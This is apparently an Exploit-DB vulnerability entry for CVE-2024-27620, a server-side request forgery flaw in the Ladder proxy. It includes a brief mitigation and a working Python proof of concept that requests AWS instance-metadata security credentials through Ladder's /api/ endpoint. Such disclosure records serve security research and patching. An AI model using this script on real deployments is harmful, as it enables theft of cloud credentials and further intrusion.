Ladder v0.0.21 - Server-side request forgery (SSRF)

vendor:

Ladder

by:

@_chebuya

6.1

CVSS

HIGH

Server-side request forgery (SSRF)

918

CWE

Product Name: Ladder

Affected Version From: v0.0.1

Affected Version To: v0.0.21

Patch Exists: NO

Related CWE: CVE-2024-27620

CPE: a:everywall:ladder:0.0.21

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 20.04.6 LTS on AWS EC2

2024

Ladder v0.0.21 – Server-side request forgery (SSRF)

Ladder v0.0.21 allows attackers to perform Server-Side Request Forgery (SSRF) attacks by not enforcing sufficient restrictions on destination addresses. This enables attackers to send GET requests to addresses that are typically inaccessible from an external context, potentially allowing access to private address ranges, local services, and cloud instance metadata APIs. This vulnerability has been assigned CVE-2024-27620.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and access controls to restrict the destinations that can be accessed by the application.

Source

Exploit-DB raw data:

# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"])